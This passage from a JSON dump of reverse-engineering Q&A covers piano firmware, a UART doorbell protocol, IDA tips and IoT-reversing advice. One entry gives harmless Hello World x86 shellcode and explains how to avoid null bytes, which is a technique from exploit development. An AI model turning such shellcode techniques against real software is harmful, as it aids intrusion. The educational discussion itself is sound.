        "Answer": "<p>The first thing I'd do is look at a hexdump. The manufacturer provides firmware updates and specifically I've looked at the file ES08_040.SYS.</p>\n\n<p>This clear shows some very readable text scattered throughout the file. Here's some examples -</p>\n\n<pre><code>00010e10:   00 02 01 02 02 02 03 02 01 01 00 00 01 01 01 01 ................\n00010e20:   01 00 00 00 20 20 20 4b 41 57 41 49 20 20 45 53 ....   KAWAI  ES\n00010e30:   38 20 20 20 20 44 69 67 69 74 61 6c 20 50 69 61 8    Digital Pia\n00010e40:   6e 6f 20 20 44 65 73 74 3a 20 56 65 72 23 20 3a no  Dest: Ver# :\n00010e50:   20 43 53 20 00 00 00 00 20 20 20 20 20 20 20 20  CS ....        \n00010e60:   20 20 20 20 20 20 20 20 00 00 00 00 ff ff ff ff         ........\n\n000540f0:   30 00 00 00 00 00 00 00 52 49 46 46 00 00 00 00 0.......RIFF....\n00054100:   57 41 56 45 66 6d 74 20 10 00 00 00 01 00 02 00 WAVEfmt ........\n00054110:   44 ac 00 00 10 b1 02 00 04 00 10 00 64 61 74 61 D...........data\n00054120:   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n\n0006aca0:   31 20 54 6f 75 63 68 20 43 75 72 76 65 20 32 2d 1 Touch Curve 2-\n0006acb0:   31 20 c0 af c1 b6 b0 cc de 20 20 20 20 20 32 2d 1 .......     2-\n0006acc0:   32 20 56 6f 69 63 69 6e 67 20 20 20 20 20 32 2d 2 Voicing     2-\n</code></pre>\n\n<p>These strongly suggest that the firmware update file is not encrypted or compressed.</p>\n\n<p>The most useful though is here -</p>\n\n<pre><code>00001530:   43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 Copyright (C) 20\n00001540:   30 30 20 28 32 30 30 38 29 20 52 65 6e 65 73 61 00 (2008) Renesa\n00001550:   73 20 54 65 63 68 6e 6f 6c 6f 67 79 20 43 6f 72 s Technology Cor\n00001560:   70 2e 20 61 6e 64 20 52 65 6e 65 73 61 73 20 53 p. and Renesas S\n00001570:   6f 6c 75 74 69 6f 6e 73 20 43 6f 72 70 2e 20 41 olutions Corp. A\n00001580:   6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 ll rights reserv\n00001590:   65 64 2e 48 49 37 30 30 30 2f 34 28 52 30 52 34 ed.HI7000/4(R0R4\n000015a0:   30 37 30 30 54 78 57 30 32 78 29 56 2e 32 2e 30 0700TxW02x)V.2.0\n000015b0:   32 2e 30 34 dd 0d 30 d1 60 62 20 f6 6f 03 d0 0c 2.04..0.`b .o...\n</code></pre>\n\n<p>Google suggest that this is an RTOS for SuperH cores.</p>\n\n<p>To confirm the architecture, I tried disassembling the first part of the dump that looks like code (i.e. at offset <code>0x00000800</code>)  This produces very plausible code confirming SH.</p>\n\n<pre><code>00000800  7ffc  add #-4, r15\n00000802  d60a  mov.l 0x0000082c, r6\n00000804  d20a  mov.l 0x00000830, r2\n00000806  3268  sub r6, r2\n00000808  e500  mov #0, r5  \n0000080A  a005  bra 0x00000818\n0000080C  2f22  mov.l  r2, @r15\n0000080E  6053  mov r5, r0\n00000810  468b  mov.b r0, @r6+\n00000812  61f2  mov.l @r15, r1\n00000814  ...\n00000824  000b  rts\n</code></pre>\n\n<p>Most interesting though is the instruction at offset 0x00000810.  This is only a valid instruction in the <code>SH-2A</code> architecture.  (For short sequences, there are online disassemblers that let you easily change architectures so you can see which work.)</p>\n\n<p>Given we know that it's SH-2A, this <a href=\"https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh.html\" rel=\"nofollow noreferrer\">page</a> seems to indicate that the MCU is likely to be from one of <code>SH72xx</code> families.</p>\n\n<p>To dig further in to the code, it helps to understand more about the MCU in terms of memory maps, embedded peripherals.  In your case, as you have the hardware, opening it up and having a look at the PCB inside will probably give you the ids of the MCU and other key components.</p>\n\n<hr>\n\n<p>If you key objective is changing data (e.g. chord progressions) this is, in theory, easier than anything other than trivial modifications to code.</p>\n\n<p>You do however need to identify where in the firmware this info is stored. Understanding the code itself can help with this.</p>\n\n<p>Another challenge you may face is how to persuade the firmware update process to accept your modified firmware.  You will probably have to play with version numbers and may have to reverse engineer some form of integrity check (e.g. checksum)</p>\n\n<p>This may be harder if the relevant validation code is in a bootloader, not in firmware. Again, reading the relevant MCU manuals may help.  In addition, getting hold of the relevant Renesas SDK/Build Tools would help too.</p>\n\n<p>You might want to try making a trivial modification to one of the early UI messages in the firmware (e.g. 1 character) and try upload this.  Whether this works or not will give you a good idea of the amount of effort you are getting yourself into.</p>\n\n<p>Finally, it is possible to badly mess-up firmware updates and 'brick' you device enough that it will need returning to the manufacturer for repair.  Do this at your own risk.</p>\n\n<hr>\n\n<p>There are tools that can help with much of this process.  e.g. <code>binwalk</code> will find the RTOS name and <code>binwalk -A</code> fill identify a few sequences of SuperH instructions.</p>\n"
    },
    {
        "Id": "24800",
        "CreationDate": "2020-04-23T00:14:37.200",
        "Body": "<p>I'd like to know why NASM generates different opcodes for the same code, when it's in the begin or end of the program?\nThis question is important because I found NULL characters when I compile the jumper label in the begin of the program, but when I write the same code in the end, it changes and there's no NULL character there. Could anyone give me a hint about it? I have here the NASM code, and the output of objdump.</p>\n\n<p>NASM code (jumper label in the begin of code):</p>\n\n<pre><code>global _start\n\nsection .text\n\njumper:\n        call shellcode\n        msg: db \"Hello World\",0xA\n\n_start:\n        jmp short jumper\n\nshellcode:\n        xor edx, edx\n        mov dl, 0xc\n\n        pop ecx\n\n        xor ebx, ebx\n        inc bl\n        xor eax, eax\n        times 0x04 inc al\n        int 0x80 \n\n        xor ebx, ebx\n        xor eax, eax\n        inc eax\n        int 0x80\n</code></pre>\n\n<p>It has NULL characters as we can see...\n(objdump results) Generate with above code:</p>\n\n<pre><code>hello-shellcode:     file format elf32-i386\n\n\nDisassembly of section .text:\n\n08049000 &lt;jumper&gt;:\n 8049000:       e8 0e 00 00 00          call   8049013 &lt;shellcode&gt;\n\n08049005 &lt;msg&gt;:\n 8049005:       48                      dec    eax\n 8049006:       65 6c                   gs ins BYTE PTR es:[edi],dx\n 8049008:       6c                      ins    BYTE PTR es:[edi],dx\n 8049009:       6f                      outs   dx,DWORD PTR ds:[esi]\n 804900a:       20 57 6f                and    BYTE PTR [edi+0x6f],dl\n 804900d:       72 6c                   jb     804907b &lt;shellcode+0x68&gt;\n 804900f:       64                      fs\n 8049010:       0a                      .byte 0xa\n\n08049011 &lt;_start&gt;:\n 8049011:       eb ed                   jmp    8049000 &lt;jumper&gt;\n\n08049013 &lt;shellcode&gt;:\n 8049013:       31 d2                   xor    edx,edx\n 8049015:       b2 0c                   mov    dl,0xc\n 8049017:       59                      pop    ecx\n 8049018:       31 db                   xor    ebx,ebx\n 804901a:       fe c3                   inc    bl\n 804901c:       31 c0                   xor    eax,eax\n 804901e:       fe c0                   inc    al\n 8049020:       fe c0                   inc    al\n 8049022:       fe c0                   inc    al\n 8049024:       fe c0                   inc    al\n 8049026:       cd 80                   int    0x80\n 8049028:       31 db                   xor    ebx,ebx\n 804902a:       31 c0                   xor    eax,eax\n 804902c:       40                      inc    eax\n 804902d:       cd 80                   int    0x80\n</code></pre>\n\n<p>Now I'll change the jumper label to the end:</p>\n\n<pre><code>global _start\n\nsection .text\n\n_start:\n        jmp short jumper\n\nshellcode:\n        xor edx, edx\n        mov dl, 0xc\n\n        pop ecx\n\n        xor ebx, ebx\n        inc bl\n        xor eax, eax\n        times 0x04 inc al\n        int 0x80 \n\n        xor ebx, ebx\n        xor eax, eax\n        inc eax\n        int 0x80\n\njumper:\n        call shellcode\n        msg: db \"Hello World\",0xA\n</code></pre>\n\n<p>(objdump generate with above code) It hasn`t NULL character:</p>\n\n<pre><code>objdump -d hello-shellcode -M intel\n\nhello-shellcode:     file format elf32-i386\n\n\nDisassembly of section .text:\n\n08049000 &lt;_start&gt;:\n 8049000:       eb 1c                   jmp    804901e &lt;jumper&gt;\n\n08049002 &lt;shellcode&gt;:\n 8049002:       31 d2                   xor    edx,edx\n 8049004:       b2 0c                   mov    dl,0xc\n 8049006:       59                      pop    ecx\n 8049007:       31 db                   xor    ebx,ebx\n 8049009:       fe c3                   inc    bl\n 804900b:       31 c0                   xor    eax,eax\n 804900d:       fe c0                   inc    al\n 804900f:       fe c0                   inc    al\n 8049011:       fe c0                   inc    al\n 8049013:       fe c0                   inc    al\n 8049015:       cd 80                   int    0x80\n 8049017:       31 db                   xor    ebx,ebx\n 8049019:       31 c0                   xor    eax,eax\n 804901b:       40                      inc    eax\n 804901c:       cd 80                   int    0x80\n\n0804901e &lt;jumper&gt;:\n 804901e:       e8 df ff ff ff          call   8049002 &lt;shellcode&gt;\n\n08049023 &lt;msg&gt;:\n 8049023:       48                      dec    eax\n 8049024:       65 6c                   gs ins BYTE PTR es:[edi],dx\n 8049026:       6c                      ins    BYTE PTR es:[edi],dx\n 8049027:       6f                      outs   dx,DWORD PTR ds:[esi]\n 8049028:       20 57 6f                and    BYTE PTR [edi+0x6f],dl\n 804902b:       72 6c                   jb     8049099 &lt;msg+0x76&gt;\n 804902d:       64                      fs\n 804902e:       0a                      .byte 0xa\n</code></pre>\n\n<p>First shellcode:\n\"\\xe8\\x0e\\x00\\x00\\x00\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x0a\\xeb\\xed\\x31\\xd2\\xb2\\x0c\\x59\\x31\\xdb\\xfe\\xc3\\x31\\xc0\\xfe\\xc0\\xfe\\xc0\\xfe\\xc0\\xfe\\xc0\\xcd\\x80\\x31\\xdb\\x31\\xc0\\x40\\xcd\\x80\"</p>\n\n<p>Second shellcode:\n\"\\xeb\\x1c\\x31\\xd2\\xb2\\x0c\\x59\\x31\\xdb\\xfe\\xc3\\x31\\xc0\\xfe\\xc0\\xfe\\xc0\\xfe\\xc0\\xfe\\xc0\\xcd\\x80\\x31\\xdb\\x31\\xc0\\x40\\xcd\\x80\\xe8\\xdf\\xff\\xff\\xff\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x0a\"</p>\n",
        "Title": "NULL character (same code) different locations",
        "Tags": "|shellcode|nasm|",
        "Answer": "<p><code>CALL</code>s and <code>JMP</code> (<code>Jxx</code>) are relative.</p>\n\n<p>In your first code block the \"jumper\" code jumps forward <em>0e</em> bytes, which is \"0e 00 00 00\" in little endian.</p>\n\n<p>In your second code, \"jumper\" appears <em>after</em> \"shellcode\", so the <code>CALL</code> backwards is a negative int, and results in your case in \"df ff ff ff\".</p>\n"
    },
    {
        "Id": "24823",
        "CreationDate": "2020-04-25T09:12:31.083",
        "Body": "<p>I have this USB stick that seems to have a slot for a SIM and for a SD card. I don't know nothing else about this module. Searching the codes on internet I didn't find anything.</p>\n\n<p><a href=\"https://i.stack.imgur.com/2oQ0M.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2oQ0M.jpg\" alt=\"One side\"></a>\n<a href=\"https://i.stack.imgur.com/1TF8M.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1TF8M.jpg\" alt=\"The other side\"></a></p>\n\n<p>How could I find something out about this? And maybe use it in some way?</p>\n\n<p>EDIT:\nIt is recognized by the operative system (lsusb output <code>Bus 001 Device 009: ID 0b3c:c003 Olivetti Techcenter</code>)</p>\n\n<p>And the kernel logs are:</p>\n\n<pre><code>[ 5956.949288] usb 1-1.2: new high-speed USB device number 8 using ehci-pci\n[ 5956.981766] usb 1-1.2: New USB device found, idVendor=0b3c, idProduct=f000, bcdDevice= 0.00\n[ 5956.981773] usb 1-1.2: New USB device strings: Mfr=3, Product=2, SerialNumber=4\n[ 5956.981778] usb 1-1.2: Product: HSPA Data Card\n[ 5956.981781] usb 1-1.2: Manufacturer: USBModem\n[ 5956.981785] usb 1-1.2: SerialNumber: 1234567890ABCDEF\n[ 5956.984482] usb-storage 1-1.2:1.0: USB Mass Storage device detected\n[ 5956.984793] scsi host4: usb-storage 1-1.2:1.0\n[ 5958.011311] scsi 4:0:0:0: Direct-Access     USBModem MMC Storage      2.31 PQ: 0 ANSI: 2\n[ 5958.012120] scsi 4:0:0:1: CD-ROM            USBModem MMC Storage      2.31 PQ: 0 ANSI: 2\n[ 5958.013018] scsi 4:0:0:0: Attached scsi generic sg2 type 0\n[ 5958.018397] sr 4:0:0:1: [sr1] scsi-1 drive\n[ 5958.019526] sd 4:0:0:0: [sdb] Attached SCSI removable disk\n[ 5958.020236] sr 4:0:0:1: Attached scsi CD-ROM sr1\n[ 5958.020807] sr 4:0:0:1: Attached scsi generic sg3 type 5\n[ 5958.323118] usb 1-1.2: USB disconnect, device number 8\n[ 5958.545345] usb 1-1.2: new high-speed USB device number 9 using ehci-pci\n[ 5958.577667] usb 1-1.2: New USB device found, idVendor=0b3c, idProduct=c003, bcdDevice= 0.00\n[ 5958.577674] usb 1-1.2: New USB device strings: Mfr=3, Product=2, SerialNumber=4\n[ 5958.577678] usb 1-1.2: Product: HSPA Data Card\n[ 5958.577682] usb 1-1.2: Manufacturer: USBModem\n[ 5958.577685] usb 1-1.2: SerialNumber: 1234567890ABCDEF\n[ 5958.580800] option 1-1.2:1.0: GSM modem (1-port) converter detected\n[ 5958.581066] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB0\n[ 5958.581601] option 1-1.2:1.1: GSM modem (1-port) converter detected\n[ 5958.582001] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB1\n[ 5958.582423] option 1-1.2:1.2: GSM modem (1-port) converter detected\n[ 5958.582890] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB2\n[ 5958.583337] option 1-1.2:1.3: GSM modem (1-port) converter detected\n[ 5958.583616] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB3\n[ 5958.583812] usb-storage 1-1.2:1.4: USB Mass Storage device detected\n[ 5958.586890] scsi host4: usb-storage 1-1.2:1.4\n[ 5958.587195] option 1-1.2:1.5: GSM modem (1-port) converter detected\n[ 5958.587354] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB4\n[ 5959.610911] scsi 4:0:0:0: Direct-Access     USBModem MMC Storage      2.31 PQ: 0 ANSI: 2\n[ 5959.611878] sd 4:0:0:0: Attached scsi generic sg2 type 0\n[ 5959.619357] sd 4:0:0:0: [sdb] Attached SCSI removable disk\n</code></pre>\n",
        "Title": "Misterious USB dongle",
        "Tags": "|hardware|usb|dongle|",
        "Answer": "<p>It looks like a USB GSM/UMTS modem. The kernel logs are compatible. It is (was?) used to connect to internet from a PC using a SIM.</p>\n\n<p>This is one such product:\n<a href=\"https://m.tomtop.com/it/p-c2070.html\" rel=\"nofollow noreferrer\">https://m.tomtop.com/it/p-c2070.html</a></p>\n\n<p>The MicroSD is used to store user data, to use it as a memory stick, or sometimes used to provide management software for the modem</p>\n\n<p>Here superuser question a regarding the MicroSD functionality\n<a href=\"https://superuser.com/questions/781844/why-mobile-internet-sticks-have-a-microsd-slot\">https://superuser.com/questions/781844/why-mobile-internet-sticks-have-a-microsd-slot</a></p>\n\n<p>With the case il looks like this:</p>\n\n<p><a href=\"https://sc01.alicdn.com/kf/HTB1o2ZobpyZBuNjt_jJq6zDlXXaT.jpg_350x350.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://sc01.alicdn.com/kf/HTB1o2ZobpyZBuNjt_jJq6zDlXXaT.jpg_350x350.jpg\" alt=\"Example USB dongle 1\"></a>\n<a href=\"https://i.ebayimg.com/images/g/heIAAMXQqfZRoiag/s-l400.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.ebayimg.com/images/g/heIAAMXQqfZRoiag/s-l400.jpg\" alt=\"Example USB dongle 2\"></a></p>\n"
    },
    {
        "Id": "24827",
        "CreationDate": "2020-04-25T17:03:08.790",
        "Body": "<p>I heard about dnSpy or ILSpy for decompiling .net files.</p>\n\n<p>But how about those files that was NOT written by .net!?</p>\n\n<p>Probably those files previous to XP.</p>\n\n<p>Is there any tools to decompile it to, preferably, C#!?</p>\n\n<p>Much appreciated!</p>\n",
        "Title": "Decompiling tools for \"Old\" exe files?",
        "Tags": "|decompiler|",
        "Answer": "<p>You can use Hex Rays decompiler. But you won't get C# code.</p>\n\n<ul>\n<li><a href=\"https://www.hex-rays.com/products/decompiler/compare_vs_disassembly\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/decompiler/compare_vs_disassembly</a></li>\n</ul>\n"
    },
    {
        "Id": "24834",
        "CreationDate": "2020-04-26T11:51:04.747",
        "Body": "<p>So i dumped a PE file after it was unpacked, but the problem is it references another section in the memory map, so i dumped that section and added it to IDA just like this question :</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/21919/ida-pro-load-data-in-manually-created-segment\">IDA Pro - Load data in manually created segment</a></p>\n\n<p>and set the segment as read write, everything seems fine</p>\n\n<p>but it seems like the change is not reflected in the binary during execution, because even tho i can see the segment content and it seems fine, any instruction that tries to access this segment will raise an exception as if there is no segment there : </p>\n\n<p>456BAD: The instruction at 0x456BAD referenced memory at 0x19A650. The memory could not be read -> 0019A650 (exc.code c0000005, tid 756)</p>\n\n<p>but even during execution i can see that the content of the memory address 0x19A650 is fine, i think this might be because the binary is not changed or something, but how can i do that? tried saving patches or reloading the database and saving but didnt work!</p>\n\n<p>checked the segment access rights and its read write as well</p>\n",
        "Title": "IDA fails to recognize the new added segment during execution and seems to think its empty?",
        "Tags": "|ida|unpacking|",
        "Answer": "<p>When debugging, IDA uses the actual content of the memory as well as the runtime memory layout and permissions. If the data you loaded into the IDB is not present at runtime, or loaded at a different address/permissions, it will be ignored. </p>\n\n<p>Just because you added something to the IDB will not make it appear magically in the debugger, since the OS uses the data from the file on disk and doesn't know anything about IDB. The only exception to this is the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1331.shtml\" rel=\"nofollow noreferrer\">Bochs debugger IDB mode</a> which does use data from IDB, but it's a pretty limited emulation environment which is not suitable for debugging full executables.</p>\n"
    },
    {
        "Id": "24835",
        "CreationDate": "2020-04-26T13:58:43.797",
        "Body": "<p>i am doing the CTF-like challenges. One of these tasks need us to decompiling <strong>Python bytecode 3.8</strong> (.pyc file) into py file. However, the py file that generated by pyc file is 0 byte\nThe original file's name is <code>flag.py</code> Here are my procedures.</p>\n\n<ol>\n<li><p>Rename the file: <code>flag.py</code> -> <code>flag.pyc</code></p></li>\n<li><p>Use <code>uncompyle6</code>tool and type command: <code>uncompyle6 flag.pyc &gt; flag.py</code> </p></li>\n<li><p>It will generate <code>flag.py</code> file, however it is <strong>0 byte</strong>. And <strong>after several hours</strong>, it is still <strong>0 byte</strong>.</p></li>\n<li><p>If i interrupt the command line tool by keyboard, the <code>flag.py</code> file will have the comment:</p></li>\n</ol>\n\n<pre><code> uncompyle6 version 3.6.6\n Python bytecode 3.8 (3413)\n Decompiled from: Python 3.8.0 \n [GCC 4.2.1 Compatible Clang 4.0.1 (tags/RELEASE_401/final)]\n Embedded file name: flag.o.py\n Compiled at: 2020-04-24 16:09:51\n Size of source mod 2**32: 2476187 bytes\n</code></pre>\n\n<p>My environment is MacOS, Python 3.8.0. </p>\n\n<p>The .pyc file is small and I've already checked the magic number of the file's header, it is Python 3.8.0.\nThe unusual thing of this pyc file is that there are several thousands of <code>ff 00</code> at the end of the file. </p>\n\n<pre><code>55 0d 0d 0a 00 00 00 00\n...\nff 00 ff 00 ff 00 ff 00 \n...\nff 00 ff 00 ff 00 ff 00 \nb9 01 0c 06 0a 01 08 01\n\n</code></pre>\n\n<p>Any Suggestions?</p>\n",
        "Title": "Decompiling .pyc file to 0 byte .py file",
        "Tags": "|python|decompile|",
        "Answer": "<p>It's possible that the <em>pyc</em> file is obfuscated/malformed in a way that it trips uncompyle6. Rather than decompiling you can try disassembling the file instead.</p>\n\n<p>The <a href=\"https://docs.python.org/3/library/dis.html\" rel=\"nofollow noreferrer\"><code>dis</code></a> module can disassemble Python bytecode. You can use it as follows.</p>\n\n<pre><code>import marshal, dis\n\nf = open(\"flag.pyc\", \"rb\")\nf.seek(16) # Skip 16 byte header (for Python 3.8)\nco = marshal.load(f)\nprint(dis.dis(co))\n</code></pre>\n\n<p>There also exists other Python disassemblers libraries like <a href=\"https://github.com/rocky/python-xdis\" rel=\"nofollow noreferrer\"><code>xdis</code></a>. After installing the package (<code>pip install xdis</code>) you can simply run <code>pydisasm flag.pyc</code> to disassemble the <em>pyc</em>.</p>\n\n<p>Once you have figured out the reason it trips uncompyle6, you can remove those parts and re-assemble a corrected <em>pyc</em> using <a href=\"https://github.com/rocky/python-xasm\" rel=\"nofollow noreferrer\">xasm</a> which can then be decompiled.</p>\n"
    },
    {
        "Id": "24842",
        "CreationDate": "2020-04-26T20:28:57.617",
        "Body": "<p>I'm using the following code to get the address of the selected function/variable:</p>\n\n<pre><code>hightlight = idaapi.get_highlight(idaapi.get_current_viewer())\nscreen_ea = idaapi.get_screen_ea()\nea = idaapi.get_name_ea(screen_ea, name)\n</code></pre>\n\n<p>It works like a charm except until you meet demangled name in IDA View :( </p>\n\n<p>For example, for this line </p>\n\n<pre><code>.text:00406744                 call    KBTickCount(void)\n</code></pre>\n\n<p>idaapi.get_name_ea call would never return the proper address, because the real name is ?KBTickCount@@YIJXZ.</p>\n\n<p>I know that I can just change demangled names representation in IDA Pro, but I'm working on a public plugin and I'm thinking about end users.</p>\n\n<p>And I also want to make it work in Pseudocode view, where all names are demangled.</p>\n\n<p>Any ideas on how to get the address of the selected function/variable for a particular line?</p>\n",
        "Title": "IDAPython: idaapi.get_highlight for demangled names",
        "Tags": "|ida|idapython|idapro-sdk|ida-plugin|",
        "Answer": "<p>All action callbacks receive a context pointer with various information pre-filled:</p>\n\n<pre><code>  ea_t cur_ea;           ///&lt; the current EA of the position in the view\n  uval_t cur_value;      ///&lt; the possible address, or value the cursor is positioned on\n\n  func_t *cur_func;      ///&lt; the current function\n  func_t *cur_fchunk;    ///&lt; the current function chunk\n\n  struc_t *cur_struc;    ///&lt; the current structure\n  member_t *cur_strmem;  ///&lt; the current structure member\n\n  enum_t cur_enum;       ///&lt; the current enum\n\n  segment_t *cur_seg;    ///&lt; the current segment\n</code></pre>\n\n<p>(from <code>kernwin.hpp</code>)</p>\n\n<p>So you can just use <code>ctx.cur_value</code> (or its Python synonym, <code>cur_extracted_ea</code>) to directly get the address/value/identifier under cursor, without having to resolve it yourself.</p>\n"
    },
    {
        "Id": "24843",
        "CreationDate": "2020-04-27T12:18:43.623",
        "Body": "<p>I'm trying to reverse engineer the protocol used by a fairly old video intercom. Using a UART logic analyser was able to guess the baud rate, data bits, start/stop bit. It idles at 14v and pulls to GND for 0.</p>\n\n<p>when I press the same sequence repeatedly of buttons I get the following bytes:</p>\n\n<pre><code>PREAMBLE (sent when waking up unit):\n0x02 0x16 0x10 0x10 0x10 0x10 0x10 0x10 0x11 0x11 0x18 0x03\n\nVIDEO ON:\n0x02 0x3c 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x71 0x03 0x02 0x3d 0x11 0x6f 0x00 0x1e 0x31 0x09 0x38 0x25 0x72 0x03\n\nMIC ON:\n0x02 0x4a 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x7f 0x03 0x02 0x4c 0x11 0x6f 0x00 0x1e 0x31 0x09 0x38 0x25 0x01 0x03\n\nUNLOCK DOOR:\n0x02 0x38 0x31 0x09 0x38 0x25 0x31 0x45 0x11 0x1e 0x74 0x03 0x02 0x3a 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x6f 0x03\n</code></pre>\n\n<p>Does this appear to be a protocol standard of any kind of control system?</p>\n\n<p>EDIT:\nHere is the best I could understand:\n<a href=\"https://docs.google.com/spreadsheets/d/e/2PACX-1vQRyUafqa6CEMd9BOOyAWO4OKGXNKsGLvs6epR5PjqnqBRMbpWOqz2-ij51mFDz4lBUOcVSR7jxK505/pubhtml?gid=1867863786&amp;single=true\" rel=\"nofollow noreferrer\">https://docs.google.com/spreadsheets/d/e/2PACX-1vQRyUafqa6CEMd9BOOyAWO4OKGXNKsGLvs6epR5PjqnqBRMbpWOqz2-ij51mFDz4lBUOcVSR7jxK505/pubhtml?gid=1867863786&amp;single=true</a></p>\n\n<p>It seems as though the format is as follows:\nBYTE1 = STX\nBYTE2 = COMMAND\nBYTE3,4,5,6 = SRC\nBYTE7,8,9,10 = DST\nBYTE11 = SUM of BYTE2 BYTE10 trimmed to 8-bit</p>\n",
        "Title": "Reverse engineering 12-byte serial packets from doorbell",
        "Tags": "|serial-communication|",
        "Answer": "<p>Based on how you have laid it out, you look to have it mostly mapped out correctly, </p>\n\n<p>The preamble (control device wake up) would be a general broadcast message to all units on the data bus, (The pull down bus means it can be multi-master) as such it does not need an acknowledge,</p>\n\n<p>The other messages follow a command + acknowledge scheme, </p>\n\n<p>The check is a generic sum from the command byte to end of destination,\n(38 + 31 + 09 + 38 + 25 + 31 + 45 + 11 + 1e) = 0x174, cut that down to 1 byte, = 0x74</p>\n\n<p>I would suspect if you power cycle the devices you may also find more commands while the devices handshake with each other (the addresses may not be fixed, but randomly chosen on power up) </p>\n\n<p><a href=\"https://i.stack.imgur.com/wC3c2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wC3c2.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "24844",
        "CreationDate": "2020-04-27T13:05:38.933",
        "Body": "<p>Hi everyone,<br> I saw this video on youtube as regards as reversing IPTV cameras and finding security vulnerabilities: <a href=\"https://www.youtube.com/watch?v=B8DjTcANBx0\" rel=\"nofollow noreferrer\">Black Hat 2013 - Exploiting Network Surveillance Cameras Like a Hollywood Hacker</a></p>\n\n<p>I have a basic knowledge of C, C++ and Python.</p>\n\n<p>I have some other questions related to this field:<br>\n<ol>\n<li>I've seen that the speaker reverses CGI programs, is this the only filetype involved in reversing MIPS?</li>\n<li>if someone who has a lot of experience could give me some advices on what to do, where to start, books to buy and courses I would be very very grateful;</li>\n<li>the assembly code that I get disassembling a MIPS binary has something in common as the one I get when disassembling a x86 program? (I thought that I might learn first x86 assembly and then move on learning MIPS assembly since the former is much more covered on the internet and in textbooks);</li>\n<li>I would like to know if there are ad-hoc crackmes (I can only find some related to x86 and x86_64) for MIPS architecture;</li>\n<li>are routers and other IoT devices such as IPTV cameras and so on based exclusively on the MIPS architecture? Or there are other architectures as well?</li>\n<li>what about obfuscated binaries, of course I don't want to rush and everything but I would like to know more;</li>\n<li>if I decompile a MIPS firmware on my Intel-powered computer and let's say, in the future I buy an AMD-powered computer, the output of the disassembled program will be the same? With output I mean instruction names and so on;</li>\n<li>I'm not trying to be a script kiddie but, from what I know, when talking about disassembling tools play a fundamental role. I've seen that IDA PRO is a good choice, however going to their webpage their price is just too much for a student, but there are other free alternatives such as Radare; the other night I tried to emulate a router's firmware using QEMU but I failed and I gave up; I hate copying and pasting things because you never learn anything and sometimes it doesn't work; are there some tools (other than Radare and Qemu) that may aid in reversing and disassembling MIPS firmware and related documentation?</li>\n<li>last but not least, I'm not trying to be the \"hollywood hacker\" or be the \"bad guy\", I'm just trying to expand my knowledge.</li>\n</ol></p>\n\n<p>I know that these questions might be completely dumb, but everyone has been there. I googled everything I could but there are a lot of things and I always get lost. Just to point out, it's not the first time that I try to do reversing in general but I always get demotivated given how hard it is so I though about asking here and getting some advice.</p>\n\n<p>Thanks for your time and everything!</p> \n",
        "Title": "Need some help and advices as regards as reverse engineering IoT devices",
        "Tags": "|disassembly|assembly|binary-analysis|firmware|mips|",
        "Answer": "<ol>\n<li><p>CGI binary files are just regular executables that export functions that can be called from the outside, like a library file. The most common use for CGI is processing data from a web server.</p></li>\n<li><p>Don't have a particular one. My advice is to take a RE program, loading the code and start reading instructions, looking up the ones you don't know.</p></li>\n<li><p>MIPS assembly differs from x86 assembly by quite a bit, but consider it a different programming language. Once you learn the concepts of programming in one language, transforming the knowledge to another language is easier. x86 is what most computers run so it is the most common, also, they can run on a PC without complicated emulations.</p></li>\n<li><p>Don't know of any, but MIPS is common enough so I'll say that there certainly are.</p></li>\n<li><p>Many run on MIPS. Many others run on ARM. Other architectures exist. From my own experience, they are pretty rare for this use.</p></li>\n<li><p>IPTVs, Routers and the like, especially older ones, have unprotected executables. Don't bother yourself with learning about obfuscators before you can handle plain assembly.</p></li>\n<li><p>Yes, the disassembler is not affected by the underlying processor. Besides, AMD and Intel are compatible.</p></li>\n<li><p>Radare2 and Ghidra are good and free alternatives for IDA. Emulating a hardware device requires a lot more than just the binary you have at hand, there are hardware components (peripherals), addresses that need to be properly configured and additional filesystems that may exist.</p></li>\n<li><p>You don't have to explain your intentions. What you do with the information is your choice and responsibility.</p></li>\n</ol>\n"
    },
    {
        "Id": "24858",
        "CreationDate": "2020-04-28T19:09:05.943",
        "Body": "<p>I have taken apart an old non-functional Lenovo IdeaCentre (B320) computer.</p>\n\n<p>I would like to get the glass touch panel to 'work' (I would consider anything from simply being able to sniff the x,y coordinates to be 'working').</p>\n\n<p>There is a single cable coming from the glass, this cable plugs into a module. The module has only one other connection. This connection has four wires and is connected to the motherboard of the computer. The black and red wires are ground and 5V respectively, this I confirmed by powering on the computer and measuring. The remaining two wires are a mystery, they are (for what it's worth) brown and orange.</p>\n\n<p>Following the traces on the module, I can see they are connected to an STM32F102C6 (LQFP48). The two wires are connected to pin 32 (brown) and 33 (orange). I downloaded the datasheet for the MCU, from this I can see pin 32, 33 corresponds to PA11 and PA12 respectively.</p>\n\n<p>PA11 has the alternate function 'USART1_CTS/USB_DM'</p>\n\n<p>PA12 has the alternate function 'USART1_RTS/USB_DP'</p>\n\n<p>I did some googling and it seems that CTS and RTS are only used for data flow control, considering there are no other data wires I assumed the USB protocol is the most likely (even though the wire colors are not conventional to USB). I wired up a USB cable and plugged it 